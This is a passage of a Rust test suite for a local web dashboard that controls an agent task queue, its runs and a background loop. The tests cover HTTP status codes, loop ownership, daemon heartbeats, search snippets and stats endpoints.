11161 let mut task = Task::new(
11162 "landed while held".to_owned(),
11163 "x".to_owned(),
11164 PathBuf::from("/repo/magi"),
11165 Source::Human,
11166 );
11167 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11168 queue.put(&mut task).expect("file the held task");
11169
11170 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11171 assert_eq!(done.status, 200, "{}", done.body);
11172 assert_eq!(done.json()["status_str"], "done");
11173 assert!(
11174 done.json()["hold_reason"].is_null(),
11175 "a done task cannot still be waiting on something: {}",
11176 done.body
11177 );
11178 }
11179
11180 #[tokio::test]
11181 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11182 let f = Fixture::start().await;
11187 let queue = f.queue();
11188 let runs = f.runs();
11189 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11190 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11194
11195 let mut task = Task::new(
11196 "landed by hand".to_owned(),
11197 "x".to_owned(),
11198 PathBuf::from("/repo/magi"),
11199 Source::Human,
11200 );
11201 task.runs.push("20260101-000000-doa1".to_owned());
11202 task.runs.push("20260101-000000-doa2".to_owned());
11203 queue.put(&mut task).expect("file the task");
11204
11205 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11206 assert_eq!(done.status, 200, "{}", done.body);
11207
11208 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11209 .expect("run still on disk under this fixture's own home");
11210 assert_eq!(
11211 reloaded_run.status,
11212 RunStatus::Superseded,
11213 "closing the task by hand must relabel the earlier blocked attempt exactly \
11214 like the loop's own settle path does"
11215 );
11216 }
11217
11218 #[tokio::test]
11219 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11220 let f = Fixture::start().await;
11225 let queue = f.queue();
11226 let runs = f.runs();
11227 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11228 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11229
11230 let mut task = Task::new(
11231 "closed with nothing actually landed".to_owned(),
11232 "x".to_owned(),
11233 PathBuf::from("/repo/magi"),
11234 Source::Human,
11235 );
11236 task.runs.push("20260101-000000-dob1".to_owned());
11237 task.runs.push("20260101-000000-dob2".to_owned());
11238 queue.put(&mut task).expect("file the task");
11239
11240 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11241 assert_eq!(done.status, 200, "{}", done.body);
11242
11243 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11244 .expect("run still on disk under this fixture's own home");
11245 assert_eq!(
11246 reloaded_run.status,
11247 RunStatus::Blocked,
11248 "the last recorded attempt never landed, so the earlier one must not be \
11249 relabelled as superseded by it"
11250 );
11251 }
11252
11253 #[tokio::test]
11254 async fn unknown_ids_are_json_not_found_on_both_stores() {
11255 let f = Fixture::start().await;
11256
11257 let run = f.get("/api/runs/nosuchrun").await;
11258 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11259
11260 assert_eq!(run.status, 404);
11261 assert_eq!(task.status, 404);
11262 assert!(
11263 run.json()["error"]
11264 .as_str()
11265 .is_some_and(|e| e.contains("run")),
11266 "the error names what was not found: {}",
11267 run.body
11268 );
11269 assert!(
11270 task.json()["error"]
11271 .as_str()
11272 .is_some_and(|e| e.contains("task")),
11273 "the error names what was not found: {}",
11274 task.body
11275 );
11276 }
11277
11278 #[tokio::test]
11279 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11280 let f = Fixture::start().await;
11281
11282 let missing = f.get("/api/health").await.json();
11283 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11284
11285 write_daemon(
11286 f.home.path(),
11287 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11288 );
11289 let stale = f.get("/api/health").await.json();
11290 assert_eq!(
11291 stale["daemon"]["running"], false,
11292 "a minute without a heartbeat is a dead daemon, not a busy one"
11293 );
11294 assert!(
11295 stale["daemon"]["stale_for_secs"]
11296 .as_i64()
11297 .is_some_and(|s| s >= 55),
11298 "staleness is reported so the UI can say how long: {stale}"
11299 );
11300
11301 write_daemon(f.home.path(), Timestamp::now());
11302 let fresh = f.get("/api/health").await.json();
11303 assert_eq!(fresh["daemon"]["running"], true);
11304 assert_eq!(fresh["daemon"]["idle"], false);
11305 assert_eq!(fresh["daemon"]["pid"], 4242);
11306 assert_eq!(fresh["daemon"]["completed"], 7);
11307 assert_eq!(
11308 fresh["daemon"]["current"][0]["task"],
11309 "20260902-140501-aaaa"
11310 );
11311 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11312 }
11313
11314 #[tokio::test]
11315 async fn the_loop_is_not_running_until_something_starts_it() {
11316 let f = Fixture::start().await;
11317
11318 let view = f.get("/api/loop").await.json();
11319 assert_eq!(view["running"], false);
11320 assert_eq!(
11321 view["owned"], false,
11322 "nobody owns a loop that does not exist: {view}"
11323 );
11324 assert_eq!(view["stopping"], false);
11325 assert_eq!(view["last_error"], Value::Null);
11326 assert_eq!(view["daemon"]["running"], false);
11327 assert_eq!(
11328 view["repo"], "/repo/magi",
11329 "the repository a start would use, named before it is started"
11330 );
11331 }
11332
11333 #[tokio::test]
11334 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11335 let f = Fixture::start().await;
11336
11337 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11338 assert_eq!(res.status, 200, "{}", res.body);
11339 let view = res.json();
11340 assert_eq!(view["running"], true);
11341 assert_eq!(
11342 view["owned"], true,
11343 "the loop the UI started is the UI's own to stop: {view}"
11344 );
11345 assert_eq!(
11346 view["merge"],
11347 Value::Null,
11348 "no override was given, so each repository's own config decides"
11349 );
11350
11351 let health = f.get("/api/health").await.json();
11355 assert_eq!(health["loop"]["running"], true, "{health}");
11356 assert_eq!(health["loop"]["owned"], true, "{health}");
11357
11358 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11359 }
11360
11361 #[tokio::test]
11362 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11363 let f = Fixture::start().await;
11364 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11365 assert_eq!(first.status, 200, "{}", first.body);
11366
11367 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11368 assert_eq!(
11369 again.status, 409,
11370 "two loops on one queue race for the same claims: {}",
11371 again.body
11372 );
11373 assert!(
11374 again.json()["error"]
11375 .as_str()
11376 .is_some_and(|e| e.contains("already running the loop")),
11377 "the refusal has to say why: {}",
11378 again.body
11379 );
11380 assert_eq!(
11381 f.get("/api/loop").await.json()["running"],
11382 true,
11383 "and the loop that was already running is untouched by it"
11384 );
11385
11386 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11387 }
11388
11389 #[tokio::test]
11390 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11391 let f = Fixture::start().await;
11392 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11393
11394 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11395 assert_eq!(
11396 res.status, 200,
11397 "the answer must not wait for the loop: a run in flight is tens of \
11398 minutes and the operator is holding a phone: {}",
11399 res.body
11400 );
11401
11402 let view = settled(&f, |v| v["running"] == false).await;
11403 assert_eq!(view["owned"], false);
11404 assert_eq!(
11405 view["stopping"], false,
11406 "a loop that has stopped is not still stopping: {view}"
11407 );
11408 assert_eq!(
11409 view["last_error"],
11410 Value::Null,
11411 "a loop that was asked to stop did not fail: {view}"
11412 );
11413
11414 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11417 assert_eq!(twice.status, 200, "{}", twice.body);
11418 }
11419
11420 #[tokio::test]
11421 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11422 let f = Fixture::start().await;
11423 write_daemon(f.home.path(), Timestamp::now());
11426
11427 let view = f.get("/api/loop").await.json();
11428 assert_eq!(view["running"], false, "not in this process: {view}");
11429 assert_eq!(view["owned"], false, "and not this process's to control");
11430 assert_eq!(
11431 view["daemon"]["running"], true,
11432 "but a loop is alive somewhere, which is what the UI must say"
11433 );
11434 assert_eq!(view["daemon"]["pid"], 4242);
11435
11436 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11437 let res = f.post("/api/loop", Some(body)).await;
11438 assert_eq!(
11439 res.status, 409,
11440 "neither button may pretend to work on someone else's loop: {}",
11441 res.body
11442 );
11443 assert!(
11444 res.json()["error"]
11445 .as_str()
11446 .is_some_and(|e| e.contains("4242")),
11447 "the refusal has to name the process the operator must go to: {}",
11448 res.body
11449 );
11450 }
11451 assert_eq!(
11452 f.get("/api/loop").await.json()["running"],
11453 false,
11454 "and the refusal started nothing"
11455 );
11456 }
11457
11458 #[tokio::test]
11459 async fn a_stale_status_file_is_not_a_foreign_owner() {
11460 let f = Fixture::start().await;
11461 write_daemon(
11462 f.home.path(),
11463 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11464 );
11465
11466 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11467 assert_eq!(
11468 res.status, 200,
11469 "a daemon killed a minute ago must not lock the loop out of its \
11470 own home for good: {}",
11471 res.body
11472 );
11473 assert_eq!(res.json()["running"], true);
11474
11475 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11476 }
11477
11478 #[tokio::test]
11479 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11480 let f = Fixture::start().await;
11481 let before = f.get("/api/health").await.json()["loop_rev"]
11482 .as_u64()
11483 .expect("a loop revision");
11484
11485 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11486
11487 let after = f.get("/api/health").await.json()["loop_rev"]
11488 .as_u64()
11489 .expect("a loop revision");
11490 assert!(
11491 after > before,
11492 "the loop is in-process state, so this counter is the only thing \
11493 that tells a second device the first one started it: {before} -> \
11494 {after}"
11495 );
11496
11497 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11498 }
11499
11500 #[tokio::test]
11501 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11502 let f = Fixture::with_loop(launch_broken).await;
11503
11504 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11505 assert_eq!(
11506 res.status, 200,
11507 "starting it is not the failure: {}",
11508 res.body
11509 );
11510
11511 let view = settled(&f, |v| v["last_error"].is_string()).await;
11512 assert_eq!(
11513 view["running"], false,
11514 "a loop that died must not read as running, or the operator has \
11515 nothing to press: {view}"
11516 );
11517 assert_eq!(view["owned"], false);
11518 assert!(
11519 view["last_error"]
11520 .as_str()
11521 .is_some_and(|e| e.contains("read-only file system")),
11522 "the phone is where a loop that died at 3am is visible: {view}"
11523 );
11524
11525 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11528 assert_eq!(again.status, 200, "{}", again.body);
11529 assert!(
11530 again.json()["last_error"]
11531 .as_str()
11532 .is_none_or(|e| !e.contains("read-only file system")),
11533 "a fresh start does not keep showing why the last one died: {}",
11534 again.body
11535 );
11536 }
11537
11538 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11550 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11551 let home = TempDir::new().expect("temp home");
11552 let runs = home.path().join("runs");
11553 std::fs::create_dir_all(&runs).expect("runs dir");
11554 let ui = Ui::new(
11555 Queue::at(home.path().join("queue")),
11556 Questions::at(home.path().join("questions")),
11557 Talks::at(home.path().join("talks")),
11558 runs,
11559 home.path().to_path_buf(),
11560 PathBuf::from("/repo/magi"),
11561 )
11562 .with_worktrees_root(home.path().join("wt"))
11563 .with_launch(launch_knocking_on_the_way_out);
11564 let looping = ui.looping();
11565 let turns = ui.turns();
11566 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11567 .await
11568 .expect("bind loopback");
11569 let addr = listener.local_addr().expect("local addr");
11570 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11571 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11572
11573 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11574 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11575
11576 let bound = std::sync::Mutex::new(None);
11591 hand_over(
11592 home.path(),
11593 &looping,
11594 &turns,
11595 &|_: &[String]| Duration::from_secs(5),
11596 served,
11597 |_| {
11598 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11599 let attempt = loop {
11600 match std::net::TcpListener::bind(addr) {
11601 Ok(l) => {
11602 drop(l);
11603 break Ok(());
11604 }
11605 Err(e)
11606 if e.kind() == std::io::ErrorKind::AddrInUse
11607 && std::time::Instant::now() < deadline =>
11608 {
11609 std::thread::sleep(std::time::Duration::from_millis(10));
11610 }
11611 Err(e) => break Err(e.to_string()),
11612 }
11613 };
11614 *bound.lock().expect("bound") = Some(attempt);
11615 Ok(1)
11616 },
11617 )
11618 .await
11619 .expect("hand over");
11620
11621 assert_eq!(
11622 *PARK_HEARD.lock().expect("park heard"),
11623 Some(200),
11624 "the deck must answer while the loop is parking"
11625 );
11626 let attempt = bound
11627 .lock()
11628 .expect("bound")
11629 .take()
11630 .expect("the successor was started");
11631 assert!(
11632 attempt.is_ok(),
11633 "and the address must be free by the time it is: {attempt:?}"
11634 );
11635 }
11636
11637 #[tokio::test]
11638 async fn a_newer_daemon_status_file_still_renders() {
11639 let f = Fixture::start().await;
11640 std::fs::write(
11643 f.home.path().join("daemon.json"),
11644 serde_json::json!({
11645 "schema": 2,
11646 "updated_at": Timestamp::now().to_string(),
11647 "idle": true,
11648 "surprise": { "nested": [1, 2, 3] },
11649 })
11650 .to_string(),
11651 )
11652 .expect("write daemon.json");
11653
11654 let health = f.get("/api/health").await;
11655
11656 assert_eq!(health.status, 200);
11657 assert_eq!(health.json()["daemon"]["running"], true);
11658 }
11659
11660 #[tokio::test]
11661 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11662 let f = Fixture::start().await;
11663 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11664 let broken = f.runs().join("20260902-140502-bad");
11665 std::fs::create_dir_all(&broken).expect("run dir");
11666 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11667
11668 let list = f.get("/api/runs").await;
11669 let detail = f.get("/api/runs/20260902-140502-bad").await;
11670
11671 assert_eq!(list.status, 200);
11672 let listed = list.json();
11673 let ids: Vec<&str> = listed
11674 .as_array()
11675 .expect("an array")
11676 .iter()
11677 .map(|r| r["id"].as_str().expect("an id"))
11678 .collect();
11679 assert_eq!(
11680 ids,
11681 vec!["20260902-140501-good"],
11682 "one unreadable run must not cost the operator the whole history"
11683 );
11684 assert_eq!(detail.status, 500);
11685 assert!(
11686 detail.json()["error"]
11687 .as_str()
11688 .is_some_and(|e| e.contains("run.json")),
11689 "the failure names the file to look at: {}",
11690 detail.body
11691 );
11692 let health = f.get("/api/health").await;
11696 assert_eq!(health.json()["runs_unreadable"], 1);
11697 }
11698
11699 #[tokio::test]
11701 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11702 let f = Fixture::start().await;
11703 let runs = f.runs();
11704 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11705 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11706 let path = runs.join("20260902-140502-bbbb").join("run.json");
11709 let mut v: serde_json::Value =
11710 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11711 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11712 std::fs::write(&path, v.to_string()).unwrap();
11713 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11714 std::fs::write(
11715 runs.join("20260902-140503-cccc").join("run.json"),
11716 "{ not json",
11717 )
11718 .unwrap();
11719
11720 let res = f.get("/api/search?scope=runs&q=quokka").await;
11721 assert_eq!(res.status, 200, "{}", res.body);
11722 let v = res.json();
11723 assert_eq!(v["total"], 1, "{v}");
11724 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11725 assert_eq!(v["hits"][0]["field"], "text");
11726 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11727 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11728 assert!(
11729 parts
11730 .iter()
11731 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11732 "{v}"
11733 );
11734 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11735 assert_eq!(
11736 flat, "The Quokka leaks across threads",
11737 "whitespace is collapsed"
11738 );
11739
11740 let both = f
11742 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11743 .await
11744 .json();
11745 assert_eq!(both["total"], 1, "{both}");
11746 let neither = f
11747 .get("/api/search?scope=runs&q=quokka%20zebra")
11748 .await
11749 .json();
11750 assert_eq!(neither["total"], 0, "{neither}");
11751 let stmt = f
11753 .get("/api/search?scope=runs&q=mobile%20first")
11754 .await
11755 .json();
11756 assert_eq!(stmt["total"], 2, "{stmt}");
11757 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11758 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11759 }
11760
11761 #[test]
11762 fn snippet_ignores_terms_longer_than_the_field() {
11763 let terms = ["ok".to_owned(), "elephant".to_owned()];
11764 let parts = snippet_of("ok", &terms);
11765 assert_eq!(
11766 parts,
11767 vec![SnippetPart {
11768 text: "ok".to_owned(),
11769 hit: true
11770 }]
11771 );
11772 }
11773
11774 #[test]
11775 fn snippet_marks_matches_longer_than_the_window() {
11776 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11777 let hit_len = |parts: &[SnippetPart]| -> usize {
11778 parts
11779 .iter()
11780 .filter(|p| p.hit)
11781 .map(|p| p.text.chars().count())
11782 .sum()
11783 };
11784 let total =
11785 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11786
11787 let long = "a".repeat(120);
11788 let parts = snippet_of(&long, std::slice::from_ref(&long));
11789 assert!(hit_len(&parts) > 0, "{parts:?}");
11790 assert!(total(&parts) <= cap);
11791
11792 let ja = "あ".repeat(130);
11793 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11794 assert!(hit_len(&parts) > 0, "{parts:?}");
11795 assert!(total(&parts) <= cap);
11796
11797 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11799 let term = format!("ab{}", "c".repeat(100));
11800 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11801 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11802 assert!(total(&parts) <= cap);
11803
11804 let text = format!("{}z", "a".repeat(119));
11806 let parts = snippet_of(&text, &["a".repeat(120)]);
11807 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11808 }
11809
11810 #[tokio::test]
11811 async fn search_caps_hits_and_snippet_length() {
11812 let f = Fixture::start().await;
11813 let runs = f.runs();
11814 for n in 0..(SEARCH_MAX_HITS + 5) {
11815 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11816 }
11817 let v = f.get("/api/search?scope=runs&q=web").await.json();
11818 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11819 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11820 assert_eq!(v["truncated"], true);
11821 assert!(
11823 v["hits"]
11824 .as_array()
11825 .unwrap()
11826 .iter()
11827 .all(|h| h["run"]["status"] == "merged")
11828 );
11829
11830 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11831 let parts = snippet_of(&long, &["needle".to_owned()]);
11832 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11833 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11834 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11835 }
11836
11837 #[tokio::test]
11838 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11839 let f = Fixture::start().await;
11840 let queue = f.queue();
11841 let mut t = Task::new(
11842 "short title".to_owned(),
11843 "line one\nthe hidden Armadillo detail".to_owned(),
11844 PathBuf::from("/repo/magi"),
11845 Source::Agent {
11846 run: "r1".to_owned(),
11847 node: "chat".to_owned(),
11848 },
11849 );
11850 t.last_error = Some("disk full on /tmp".to_owned());
11851 queue.put(&mut t).expect("file the task");
11852
11853 for (q, want) in [
11854 ("armadillo", 1),
11855 ("disk%20FULL", 1),
11856 ("chat", 1),
11857 ("queued", 1),
11858 ("short%20nothing", 0),
11859 ] {
11860 let v = f
11861 .get(&format!("/api/search?scope=tasks&q={q}"))
11862 .await
11863 .json();
11864 assert_eq!(v["total"], want, "{q}: {v}");
11865 }
11866 for bad in [
11867 "/api/search?scope=tasks&q=",
11868 "/api/search?scope=tasks&q=%20",
11869 "/api/search?scope=chats&q=",
11870 "/api/search?scope=chats&q=%20",
11871 "/api/search?scope=nope&q=a",
11872 "/api/search?q=a",
11873 ] {
11874 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11875 }
11876 }
11877
11878 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11880 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11881 .expect("seat value");
11882 let turns: Vec<serde_json::Value> = turns
11883 .iter()
11884 .map(|(who, body)| {
11885 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11886 })
11887 .collect();
11888 let doc = serde_json::json!({
11889 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11890 "status": status, "turns": turns,
11891 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11892 "seat": seat,
11893 });
11894 let dir = f.home.path().join("talks");
11895 std::fs::create_dir_all(&dir).expect("talks dir");
11896 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11897 }
11898
11899 #[tokio::test]
11900 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11901 let f = Fixture::start().await;
11902 write_talk(
11903 &f,
11904 "20260901-000001-aaaa",
11905 "open",
11906 &[
11907 (
11908 "operator",
11909 "\n Why does the Pangolin cache expire?\nsecond line",
11910 ),
11911 ("agent", "Because the TTL is thirty seconds."),
11912 ],
11913 );
11914 write_talk(
11915 &f,
11916 "20260901-000002-bbbb",
11917 "closed",
11918 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11919 );
11920 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11921
11922 let search = |q: &'static str| {
11923 let f = &f;
11924 async move {
11925 f.get(&format!("/api/search?scope=chats&q={q}"))
11926 .await
11927 .json()
11928 }
11929 };
11930
11931 let v = search("PANGOLIN").await;
11932 assert_eq!(v["scope"], "chats");
11933 assert_eq!(v["total"], 1, "{v}");
11934 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11935 assert_eq!(v["hits"][0]["field"], "title");
11936 assert_eq!(v["unreadable"], 1, "{v}");
11937 let marked: Vec<&str> = v["hits"][0]["snippet"]
11938 .as_array()
11939 .unwrap()
11940 .iter()
11941 .filter(|p| p["hit"] == true)
11942 .map(|p| p["text"].as_str().unwrap())
11943 .collect();
11944 assert_eq!(marked, ["Pangolin"]);
11945
11946 let v = search("zebra").await;
11948 assert_eq!(v["total"], 1, "{v}");
11949 assert_eq!(v["hits"][0]["field"], "agent");
11950 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11952 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11953 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11955 assert_eq!(search(q).await["total"], 0, "{q}");
11956 }
11957 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11959 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11961
11962 let v = f.get("/api/search?scope=nope&q=a").await;
11963 assert_eq!(v.status, 400);
11964 assert!(
11965 v.body.contains("scope must be runs, tasks or chats"),
11966 "{}",
11967 v.body
11968 );
11969 }
11970
11971 #[test]
11972 fn a_question_card_links_a_task_id_to_the_task_page() {
11973 let start = APP_JS
11974 .find("function updateAskCard(")
11975 .expect("updateAskCard exists");
11976 let body = &APP_JS[start..];
11977 let body = &body[..body.find("\n}\n").expect("function end")];
11978 assert!(body.contains("question.run_is_task"));
11979 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11980 assert!(body.contains("`#/runs/${question.run}`"));
11981 assert!(body.contains("\"task\" : \"run\""));
11982 }
11983
11984 #[test]
11985 fn plain_text_message_surfaces_go_through_linkify() {
11986 assert!(APP_JS.contains("function linkify("));
11987 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11988 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11989 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11990 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11991 assert!(!APP_JS.contains("innerHTML = text"));
11992 }
11993
11994 #[test]
11995 fn stats_bars_share_one_id_keyed_plan() {
11996 let start = APP_JS
11997 .find("function statsBarRows(")
11998 .expect("statsBarRows exists");
11999 let body = &APP_JS[start..];
12000 let body = &body[..body.find("\n}\n").expect("function end")];
12001 assert!(body.contains("statsBarPlan(rows)"));
12002 assert!(body.contains("statsAgentTone(row.agent)"));
12003 assert!(!body.contains("candTone(i)"));
12004 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12005 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12006 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12007 }
12008 }
12009
12010 #[test]
12011 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12012 let start = APP_JS
12013 .find("function renderStatsReviewerScatter(")
12014 .expect("renderStatsReviewerScatter exists");
12015 let body = &APP_JS[start..];
12016 let body = &body[..body.find("\n}\n").expect("function end")];
12017 assert!(body.contains("statsScatterPlan(reviewers)"));
12018 assert!(body.contains("statsAgentTone(d.agent)"));
12019 assert!(APP_JS.contains("function statsScatterPlan("));
12020 assert!(
12021 APP_JS.contains("d.submitted < STATS_LOW_N")
12022 || APP_JS.contains("r.submitted < STATS_LOW_N")
12023 );
12024 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12025 assert!(APP_CSS.contains(".precision-scatter"));
12026 }
12027
12028 #[test]
12029 fn advisor_reflection_is_drawn_as_stacked_segments() {
12030 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12031 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12032 let html = include_str!("../assets/ui/index.html");
12033 assert!(html.contains("Approximate"));
12034 for label in ["reflected strongly", "faint", "no proposal"] {
12035 assert!(html.contains(label));
12036 }
12037 let css = include_str!("../assets/ui/app.css");
12038 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12039 assert!(css.contains(&format!(".{c} {{")));
12040 }
12041 }
12042
12043 #[test]
12044 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12045 assert!(APP_JS.contains("function statsDailyPlan("));
12046 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12047 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12048 }
12049
12050 #[test]
12051 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12052 let start = APP_JS
12053 .find("function scheduleSearch(")
12054 .expect("scheduleSearch exists");
12055 let body = &APP_JS[start..];
12056 let body = &body[..body.find("\n}\n").expect("function end")];
12057 assert!(body.contains("s.seq += 1"));
12058 }
12059
12060 #[tokio::test]
12065 async fn stats_runs_unreadable_matches_health() {
12066 let f = Fixture::start().await;
12067 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12068 let broken = f.runs().join("20260902-140502-bad");
12069 std::fs::create_dir_all(&broken).expect("run dir");
12070 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12071
12072 let stats = f.get("/api/stats").await;
12073 let health = f.get("/api/health").await;
12074
12075 assert_eq!(stats.status, 200);
12076 assert_eq!(stats.json()["totals"]["runs"], 1);
12077 assert_eq!(stats.json()["runs_unreadable"], 1);
12078 assert_eq!(
12079 stats.json()["runs_unreadable"],
12080 health.json()["runs_unreadable"],
12081 "the dashboard and /api/health must never disagree about how many \
12082 runs could not be read"
12083 );
12084 }
12085
12086 #[tokio::test]
12087 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12088 let f = Fixture::start().await;
12089 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12090 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12091 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12092
12093 let totals = &f.get("/api/stats").await.json()["totals"];
12094 assert_eq!(totals["runs"], 3);
12095 assert_eq!(totals["merged"], 1);
12096 assert_eq!(totals["stalled"], 1);
12097 assert_eq!(totals["in_progress"], 1);
12098 assert_eq!(totals["blocked"], 0);
12101 assert_eq!(totals["ready"], 0);
12102 }
12103
12104 #[tokio::test]
12105 async fn stats_advisors_report_proposals_and_reflection() {
12106 use crate::advise::{Advice, AdvisorRecord, Reflection};
12107 use crate::verdict::Proposal;
12108
12109 let f = Fixture::start().await;
12110 let mut state = RunState::new(
12111 PathBuf::from("/repo/magi"),
12112 "main".to_owned(),
12113 "0123456789abcdef".to_owned(),
12114 "task".to_owned(),
12115 Config::default(),
12116 );
12117 state.id = "20260902-140501-a".to_owned();
12118 state.status = RunStatus::Merged;
12119 state.advice = Some(Advice {
12120 records: vec![
12121 AdvisorRecord {
12122 seat: "advisor-1".to_owned(),
12123 agent: "alpha".to_owned(),
12124 proposal: Some(Proposal {
12125 approach: "do it".to_owned(),
12126 key_tradeoff: "speed over memory".to_owned(),
12127 risks: Vec::new(),
